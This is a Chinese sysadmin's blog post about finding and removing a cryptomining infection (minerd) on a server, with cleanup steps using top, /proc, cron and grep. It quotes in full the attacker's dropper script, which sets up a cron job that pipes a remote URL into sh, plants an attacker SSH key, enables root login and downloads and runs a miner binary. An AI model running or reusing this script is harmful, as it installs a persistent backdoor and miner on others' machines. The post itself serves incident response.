记录一下最近被服务器被挖矿的经历,如果有道友有类似的情况可以参考.如果你不知道什么事挖矿请自行谷度一下.
就在写这个的昨天晚上手机短信不断报警某个服务器达到了负载阈值,打开服务器top了一下发现4核CPU被其中一个程序跑满了,先记录下这个程序的PID然后根据PID找到源文件/opt/minerd,kill -9干掉这个进程,然后删掉文件.
1.CPU占用被陌生程序跑满; 2.程序名一般为minerd , yam 等等 3.根据PID找到文件 ll /proc/PID
程序干掉之后没多一会又收到报警,赶紧top一下,挖槽!这哥们有出现了,真是冥顽不化.根据前面找到的路径,发现在/opt目录下又出现了这个可执行文件.看来是用了cron自动生成的,进入cron配置果然发现有一行陌生的curl任务,先保存下这一行然后删掉.
1.一般被挖矿的不会让你轻松的删掉的 2.进入cron会看到一些奇怪的任务 curl -L
用浏览器打开上面的链接发现是一个shell脚本
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin echo "*/10 * * * * curl -fsSL https://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/root mkdir -p /var/spool/cron/crontabs echo "*/10 * * * * curl -fsSL https://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/crontabs/root if [ ! -f "/root/.ssh/KHK75NEOiq" ]; then mkdir -p ~/.ssh rm -f ~/.ssh/authorized_keys* echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOc9hZfS/F/yW8KgHYTKvIAk/Ag1xBkBCbdHXWb/TdRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZ7yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3txL6NQHTz405PD3GLWFsJ1A/Kv9RojF6wL4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1y993qHNytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFav root" > ~/.ssh/KHK75NEOiq echo "PermitRootLogin yes" >> /etc/ssh/sshd_config echo "RSAAuthentication yes" >> /etc/ssh/sshd_config echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config echo "AuthorizedKeysFile .ssh/KHK75NEOiq" >> /etc/ssh/sshd_config /etc/init.d/sshd restart fi if [ ! -f "/etc/init.d/ntp" ]; then if [ ! -f "/etc/systemd/system/ntp.service" ]; then mkdir -p /opt curl -fsSL https://r.chanstring.com/v51/lady_`uname -m` -o /opt/KHK75NEOiq33 && chmod +x /opt/KHK75NEOiq33 && /opt/KHK75NEOiq33 -Install fi fi # service ntp start # systemctl restart ntp.service /etc/init.d/ntp start # rm -rf /etc/init.d/ntp # ps auxf|grep -v grep|grep "/usr/sbin/ntp -D"|awk ‘{print $2}‘|xargs kill -9 ps auxf|grep -v grep|grep "/usr/bin/cron"|awk ‘{print $2}‘|xargs kill -9 ps auxf|grep -v grep|grep "/opt/cron"|awk ‘{print $2}‘|xargs kill -9
有脚本解决起来就方便多了根据脚本内容一行行删掉,一半情况就解决了,但有时即便按照脚本删还是无法解决,就只能用grep批量查关键字,看看还有什么后门没有
egrep -r ‘minerd‘ xxx (xxx是/目录下的个目录) egrep -r ‘chanstring‘ xxx
一般会查到一些包含这些关键字的文件,然后再一一判断处理吧
时间: 2024-11-13 09:02:37